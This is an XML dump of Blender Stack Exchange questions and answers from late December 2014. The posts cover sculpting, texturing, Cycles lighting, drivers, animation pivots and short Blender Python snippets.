  <row Id="21388" PostTypeId="2" ParentId="21341" CreationDate="2014-12-25T16:39:20.343" Score="1" Body="&lt;p&gt;Comrade's answer is good. If you want to keep both meshes intact, there is an alternative way.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select the &lt;code&gt;Cylinder.001&lt;/code&gt; object&lt;/li&gt;&#xA;&lt;li&gt;Scale the object by hitting &lt;kbd&gt;s&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Scale it down by an appropriate amount. You can try &lt;code&gt;.99&lt;/code&gt; to start. Keep adding 9's until you see z-fighting happening again. If so, hit the backspace to erase the last digit.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="14" LastActivityDate="2014-12-25T16:39:20.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21389" PostTypeId="1" CreationDate="2014-12-25T17:28:17.133" Score="2" ViewCount="2072" Body="&lt;p&gt;I have seen in &lt;a href=&quot;https://www.youtube.com/watch?v=hoaPM1C1vAE&quot; rel=&quot;nofollow noreferrer&quot;&gt;this video&lt;/a&gt; a workflow that i find very interesting, however I'm having problem getting the dynamic topology part right, starting at 4:25 you can see the author of the video sculpting with very narrow and precise lines, such as those which can be seen in this screen: &lt;img src=&quot;https://i.stack.imgur.com/eVijW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, after copying his brush and detail size (and using basically a sphere with a level 1 subsurf modifier applied as he does) the lines i get are VERY ugly:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EUg31.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also the polished area on the right doesn't look nearly as smooth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After messing up with the settings for quite a while I can't find out how to obtain such a nice looking result, I think I am missing something very obvious, being a complete beginner to blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, how can i obtain such precise details when sculpting with dynotopo turned on?&lt;/p&gt;&#xA;" OwnerDisplayName="user7790" LastEditorDisplayName="user7790" LastEditDate="2014-12-25T17:34:57.037" LastActivityDate="2015-06-10T08:32:48.080" Title="How to obtain a precise stroke in dynamic topology?" Tags="&lt;sculpting&gt;&lt;dynamic-topology&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21390" PostTypeId="1" CreationDate="2014-12-25T18:22:43.107" Score="1" ViewCount="1323" Body="&lt;p&gt;I am following this tutorial &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Your_First_Animation/2.Animating_the_Gingerbread_Man&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Your_First_Animation/2.Animating_the_Gingerbread_Man&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am at the &lt;strong&gt;Skinning&lt;/strong&gt; step and trying to look at vertex groups like the tutorial shows. Clicking &quot;Select&quot; on one of my vertex groups does &lt;em&gt;nothing&lt;/em&gt;, however. Nothing new shows up on my screen.&lt;/p&gt;&#xA;" OwnerUserId="9662" LastActivityDate="2014-12-25T18:22:43.107" Title="Can't see vertex groups" Tags="&lt;vertex-groups&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21391" PostTypeId="1" AcceptedAnswerId="21395" CreationDate="2014-12-25T18:26:32.283" Score="2" ViewCount="1341" Body="&lt;p&gt;I have a character with a hologram effect by using the Layer Weight node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vUuKR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file won't upload so here's an image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/XKtSp.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XKtSp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when the Layer Weight node is connected in the Factor of the Mix Shader, the two inputs of the Mix shader are blended in a way that whatever is in the first input, it will be shown on the normals of the character that are more facing the camera (Emission and Transparent shader, in my example). I’m using a similar material with a gradient texture, its just that the polygons (with the &quot;Lines&quot; Attribute) that are more facing the camera are mixed with transparency and the other once with Emission. The normal map of the character is using a different UV layout/Attribute (this is more clear in the node setup of the file). But, is there a way for the lines to face the Global Z direction all the time even when I animate the character? Because the lines are likely to be animated to travel at the Z axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The texture for the lines - &lt;a href=&quot;http://fc04.deviantart.net/fs71/i/2012/225/8/5/gradient_stock_01_by_gradient_textures-d5ayk4y.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://fc04.deviantart.net/fs71/i/2012/225/8/5/gradient_stock_01_by_gradient_textures-d5ayk4y.jpg&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="599" LastEditDate="2014-12-26T00:15:41.507" LastActivityDate="2014-12-26T00:15:41.507" Title="How to make a texture always upright relative to the global Z?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21392" PostTypeId="2" ParentId="21389" CreationDate="2014-12-25T18:47:07.977" Score="2" Body="&lt;p&gt;The size of the brush in sculpt mode is determined in pixels.&#xA;If you change the brush size it will make more detailed sculpting. But the magnification on the viewport is really the key to detail. Zoom in to your object and you'll be able to add however much detail you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CaKpn.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2014-12-25T18:47:07.977" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21393" PostTypeId="2" ParentId="21341" CreationDate="2014-12-25T19:03:54.970" Score="1" Body="&lt;p&gt;Other solution would be to join both objects (In object mode select both and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then go into edit mode, select all the vertices and do Remove Doubles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XmS0o.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/viCpp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2014-12-25T19:03:54.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21394" PostTypeId="1" CreationDate="2014-12-25T19:55:53.940" Score="0" ViewCount="290" Body="&lt;p&gt;How do I trigger something when a game property equals a certain value?&lt;br&gt;&#xA;So Here is what I have done.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;myprop = own['prop']&#xA;if myprop == 50:&#xA;    own.applyRotation((0, 0, 0.5),True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/klnVq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/klnVq.png&quot; alt=&quot;screen shot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9664" LastEditorUserId="2217" LastEditDate="2014-12-25T20:09:26.087" LastActivityDate="2014-12-26T20:36:04.727" Title="How to trigger something when a game property equals a (certain value)" Tags="&lt;python&gt;&lt;scripting&gt;&lt;game-engine&gt;&lt;properties&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21395" PostTypeId="2" ParentId="21391" CreationDate="2014-12-25T20:06:44.957" Score="7" Body="&lt;p&gt;&lt;strong&gt;Yes&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The simplest way to do this is by using &lt;em&gt;Object coordinates&lt;/em&gt; plugged into a &lt;em&gt;Vector transform&lt;/em&gt; node set to transform from &lt;em&gt;Object&lt;/em&gt; space to &lt;em&gt;World&lt;/em&gt; space:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cDoYp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will preserve the texture's location relative to the object, so moving the object up and down in world space will keep the textured &quot;glued&quot; to it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gfycat.com/MassiveFancyAnaconda&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://fat.gfycat.com/MassiveFancyAnaconda.gif&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want this, then you can use the Z channel of the ray position:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/y1L1v.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will keep the texture fixed in world space:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gfycat.com/DecisivePassionateAndeancat&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://fat.gfycat.com/DecisivePassionateAndeancat.gif&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Watch the upward translation closely to spot the difference between the two methods.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that I tested these with a procedural texture, so I'm not 100% sure it will work with an image texture. I assumed that a procedural texture might suit your needs better anyway. Here's the setup I used:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3LYBn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:45.923" LastActivityDate="2014-12-26T00:10:56.230" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="21396" PostTypeId="1" AcceptedAnswerId="21397" CreationDate="2014-12-25T20:25:33.167" Score="2" ViewCount="89" Body="&lt;p&gt;I have problem with rendering in cycles render in &lt;a href=&quot;http://www54.zippyshare.com/v/3023371/file.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this building&lt;/a&gt;.&#xA;I placed lots of different lamps and increased the amount of emission in the lamp, but it didn't work.&lt;br&gt;&#xA;If I render, it shows this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wZ6se.png&quot; alt=&quot;Render result&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9665" LastEditorUserId="599" LastEditDate="2014-12-25T21:04:47.070" LastActivityDate="2014-12-25T21:06:38.143" Title="Surfaces not being illuminated" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;light&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21397" PostTypeId="2" ParentId="21396" CreationDate="2014-12-25T20:35:33.253" Score="1" Body="&lt;p&gt;All the walls etc. only have a &lt;em&gt;glossy&lt;/em&gt; shader with 0 roughness. This means light will be reflected specularly, without being scattered. In other words, &lt;strong&gt;every surface is acting as a perfect mirror&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://blender.stackexchange.com/q/3594/599&quot;&gt;How do you make a lamp light up glossy surfaces?&lt;/a&gt; for a more detailed explanation of why this is a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix this, try using a diffuse shader instead:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ksqkR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though eventually you'll want to set up a mix of different shaders (probably a bit of both diffuse and glossy) with textures, etc.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2014-12-25T21:06:38.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21398" PostTypeId="1" AcceptedAnswerId="23163" CreationDate="2014-12-25T20:56:11.197" Score="4" ViewCount="757" Body="&lt;p&gt;In blender drivers, you can access a property value on the current frame through a &lt;code&gt;var&lt;/code&gt;. How can a value on a past/previous frame be accessed?&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2015-01-13T22:13:53.243" Title="Get object data for previous frame in driver?" Tags="&lt;drivers&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21399" PostTypeId="1" AcceptedAnswerId="21402" CreationDate="2014-12-25T21:16:59.747" Score="0" ViewCount="4860" Body="&lt;p&gt;I am trying to texture this model, But I didn't retopologize it because I found that a bit difficult. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what it currently looks like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dtObO.png&quot; alt=&quot;This is what it currently looks like&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I put him in some armor:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vsKe7.jpg&quot; alt=&quot;I put him in some armor&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made an attempt to texture him here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EcXVc.jpg&quot; alt=&quot;I made an attempt to texture him here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This &lt;a href=&quot;http://www.pasteall.org/blend/33532&quot; rel=&quot;nofollow noreferrer&quot;&gt;blend file&lt;/a&gt; is a previous save because the current file is too big, What am I going wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mesh:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NCb6U.png&quot; alt=&quot;Mesh edit mode&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would you texture him without artifacts?&lt;/p&gt;&#xA;" OwnerUserId="5420" LastEditorUserId="5426" LastEditDate="2015-06-25T14:08:27.040" LastActivityDate="2015-06-25T14:08:27.040" Title="How to properly texture sculpted model" Tags="&lt;modeling&gt;&lt;texturing&gt;&lt;materials&gt;&lt;uv&gt;&lt;image&gt;" AnswerCount="1" CommentCount="7" ClosedDate="2014-12-27T07:18:52.217" ContentLicense="CC BY-SA 3.0" />
  <row Id="21400" PostTypeId="1" AcceptedAnswerId="21404" CreationDate="2014-12-25T21:24:37.407" Score="2" ViewCount="635" Body="&lt;p&gt;How can I animate object rotating with center of rotation offsetted?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to animate hammer making movements like someone is using it.&lt;/p&gt;&#xA;" OwnerUserId="9588" LastEditorUserId="7777" LastEditDate="2014-12-25T23:47:18.843" LastActivityDate="2014-12-26T00:04:27.937" Title="Animate object on arc trajectory" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21402" PostTypeId="2" ParentId="21399" CreationDate="2014-12-25T22:46:54.760" Score="0" Body="&lt;p&gt;So you need to know the basics of UV unwrapping .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UV unwrapping&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=f2-FfB9kRmE&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=f2-FfB9kRmE&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also need to know how to texture , You dont need to texture it , you can also use materials but it isnt the best idea if you arent using it only for rendering :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=thYHF0282cE&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=thYHF0282cE&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also be sure to look at lots of references and watch how other people do it :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=C3r2T7xU9Kw&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=C3r2T7xU9Kw&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;there is also Clone painting , Shown in this video&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=p4ngVoGIj1Q&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=p4ngVoGIj1Q&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And since you are beginner you might want to take a look at  basic texturing :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=SwpwzHPtqMc&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=SwpwzHPtqMc&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1829" LastActivityDate="2014-12-25T22:46:54.760" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21403" PostTypeId="1" CreationDate="2014-12-25T23:50:10.020" Score="3" ViewCount="698" Body="&lt;p&gt;When a script is run via &lt;em&gt;Script&lt;/em&gt; mode through the &lt;em&gt;Python Controller&lt;/em&gt; there is no need to have &lt;code&gt;import bge&lt;/code&gt; in the script.&lt;br&gt;&#xA;Why does running a script via &lt;em&gt;Module&lt;/em&gt; mode require importing bge?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:/Tutorials/Game_Engine/ScriptMode_vs_ModuleMode&quot; rel=&quot;nofollow&quot;&gt;Documentation&lt;/a&gt; on the blender wiki of the differences between script and module modes.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="15543" LastEditDate="2019-12-16T09:02:54.640" LastActivityDate="2019-12-16T09:02:54.640" Title="Running a script via module vs script mode in the BGE" Tags="&lt;python&gt;&lt;scripting&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21404" PostTypeId="2" ParentId="21400" CreationDate="2014-12-25T23:56:42.147" Score="3" Body="&lt;p&gt;Like in this answer &lt;a href=&quot;https://blender.stackexchange.com/a/5521/1853&quot;&gt;https://blender.stackexchange.com/a/5521/1853&lt;/a&gt; Change the origin of the object where you need it and rotate the object using the new pivot point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lvipa.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To animate, go the frame where you want the animation to start and press &lt;kbd&gt;I&lt;/kbd&gt; to create a key frame for the rotation. Move then to a different frame, rotate your object and press &lt;kbd&gt;I&lt;/kbd&gt; to create a new key frame. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VHd8d.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To swing the hammer in an arc motion change the origin further away from the handle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JnK0l.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2014-12-26T00:04:27.937" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21405" PostTypeId="1" AcceptedAnswerId="27742" CreationDate="2014-12-26T00:04:30.977" Score="4" ViewCount="940" Body="&lt;p&gt;I am trying to make an explosion in the game engine, using GLSL shading.&#xA;The Alpha works so all you can see is the fire, but blender is treating it as an image texture and not playing the video. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any easy ways to make the game engine play animated textures? I do &lt;strong&gt;not&lt;/strong&gt; mean by using this method:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mV5wr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="599" LastEditDate="2014-12-26T00:08:57.110" LastActivityDate="2015-03-31T12:33:19.540" Title="Play .mov or .avi in BGE" Tags="&lt;texturing&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21406" PostTypeId="2" ParentId="21387" CreationDate="2014-12-26T03:53:07.703" Score="23" Body="&lt;p&gt;You can make the ball roll with a &lt;strong&gt;Driver&lt;/strong&gt;, first - this is what you should already have setuped, make sure the ball's &lt;em&gt;Follow Path&lt;/em&gt; constraint option &lt;em&gt;Follow Curve&lt;/em&gt; is set:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rZHHB.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Add single driver to the X axis rotation field (&lt;kbd&gt;RMB&lt;/kbd&gt; on field &amp;gt; Add Single Driver &lt;kbd&gt;R&lt;/kbd&gt;)&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nNiDy.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Setup the driver like this (scripted type, no variables), also make sure &lt;em&gt;Auto Run Python Scripts&lt;/em&gt; in User_Preferences &amp;gt; File is enabled:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3BAza.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Lets add a driver variable for the curve evaluation time, call the variable &amp;quot;eval_time&amp;quot;, in the Prop field put the curve and Path is &lt;code&gt;eval_time&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/43Wod.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now its time for the driver expression. You will need to know the ball's diameter and the curve's length.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;diameter you get from ball's dimensions in properties panel &lt;kbd&gt;N&lt;/kbd&gt;:&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;curve's length you get from running this script with curve selected:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; import bpy&#xA; import bmesh&#xA; orig = bpy.context.active_object.name&#xA; bpy.ops.object.duplicate_move()&#xA; bpy.ops.object.transform_apply(location=True, rotation=True, scale=True)&#xA; bpy.ops.object.convert(target='MESH', keep_original=False)&#xA; bm = bmesh.new()&#xA; bm.from_mesh(bpy.context.active_object.data)&#xA; edge_length = 0&#xA; for edge in bm.edges:&#xA;     edge_length += edge.calc_length()&#xA; bpy.context.window_manager.clipboard = str(round(edge_length,3))&#xA; bpy.ops.object.delete()&#xA; bpy.context.scene.objects.active = bpy.context.scene.objects[orig]&#xA; bpy.context.object.select = True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It will calculate the length and store it in the clipboard, you can then paste it with &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;V&lt;/kbd&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;The driver expression is: -2 * &lt;em&gt;curve_length&lt;/em&gt; / &lt;em&gt;diameter&lt;/em&gt; * ( eval_time / &lt;em&gt;eval_max&lt;/em&gt; ):&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4BAMs.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let's break the expression down:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;(eval_time/&lt;em&gt;eval_max&lt;/em&gt;) is the only element that changes and it goes from 0 to 1 as the ball moves along the curve&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;the rest equates to a number, that says how much has the ball turn to rotate along the whole path&lt;/p&gt;&#xA;&lt;p&gt;If the ball turns 1 complete rotation (360°), it will travel pi*diameter units.&lt;/p&gt;&#xA;&lt;p&gt;So to cover the path it needs &lt;em&gt;curve_length&lt;/em&gt; / pi*diameter of full rotations.&lt;/p&gt;&#xA;&lt;p&gt;The catch is that driver expects the input in radians, not degrees. So a full rotation of 360° is 2*pi radians.&lt;/p&gt;&#xA;&lt;p&gt;(2&lt;em&gt;pi) * curve_length / pi&lt;/em&gt;diameter, we can simplify and remove pi&lt;/p&gt;&#xA;&lt;p&gt;The last thing is the minus in front of the expression (-), this is to influence which direction we want the ball to roll. You can use the right hand rule to see what rotation is positive, and what negative (thumb in axis direction, fingers point in positive rotation direction).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Now the ball will roll accordingly to your curve's Evaluation Time:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DnTkk.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2020-06-17T02:36:57.303" LastActivityDate="2020-06-17T02:36:57.303" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21407" PostTypeId="1" CreationDate="2014-12-26T04:48:31.123" Score="3" ViewCount="1444" Body="&lt;p&gt;Anyone able to explain this and how to kill it?  New to Blender.  Not sure of any terminology otherwise I'd try to search for my own answer. I even tried &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;F&lt;/kbd&gt; to create new faces hoping to eliminate this problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/690ly.png&quot; alt=&quot;weird connections between vertices&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9668" LastEditorUserId="599" LastEditDate="2014-12-26T06:17:57.550" LastActivityDate="2014-12-26T06:17:57.550" Title="Weird connecting lines with no edges/vertices" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;geometry&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21408" PostTypeId="1" CreationDate="2014-12-26T05:08:45.137" Score="7" ViewCount="4606" Body="&lt;p&gt;How would I know through a script when the switch to edit mode happens? I need it for modal operator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking on listening for &lt;strong&gt;'TAB' event&lt;/strong&gt; and checking &lt;strong&gt;obj.mode&lt;/strong&gt;, but I hope there is a better way, for reasons like changed edit-mode shortcut or switching to edit-mode by script.&lt;/p&gt;&#xA;" OwnerUserId="4958" LastEditorUserId="2217" LastEditDate="2014-12-26T14:38:44.007" LastActivityDate="2020-03-10T09:29:06.150" Title="Know when edit-mode is entered by script? (python)" Tags="&lt;python&gt;&lt;scripting&gt;&lt;editing&gt;&lt;operator&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21409" PostTypeId="1" CreationDate="2014-12-26T05:16:57.983" Score="2" ViewCount="659" Body="&lt;p&gt;I saved my project as .png, then as .jpeg but Blender always adds a .blend extension on it. I saved it in its own folder and in my documents.  Regardless Blender opens showing me an empty gray screen. How can I get Blender to show me what I saved?&lt;/p&gt;&#xA;" OwnerUserId="9669" LastEditorDisplayName="user1853" LastEditDate="2016-04-03T03:55:28.463" LastActivityDate="2016-04-03T03:59:33.530" Title="Blender always adds a .blend extension to my image, and can't be opened" Tags="&lt;file-browser&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21410" PostTypeId="2" ParentId="21408" CreationDate="2014-12-26T05:30:29.037" Score="7" Body="&lt;p&gt;In your modal operator you can test &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_72_1/bpy.types.Object.html?highlight=object.mode#bpy.types.Object.mode&quot; rel=&quot;noreferrer&quot;&gt;object.mode&lt;/a&gt; for which mode the object is in - example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;bpy.context.active_object.mode   # = 'OBJECT'&#xA;&#xA;bpy.ops.object.mode_set(mode='EDIT')&#xA;&#xA;bpy.context.active_object.mode   # = 'EDIT'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is no callback, you will need to test this on 'tab' event or always to be sure..&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2014-12-26T05:30:29.037" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
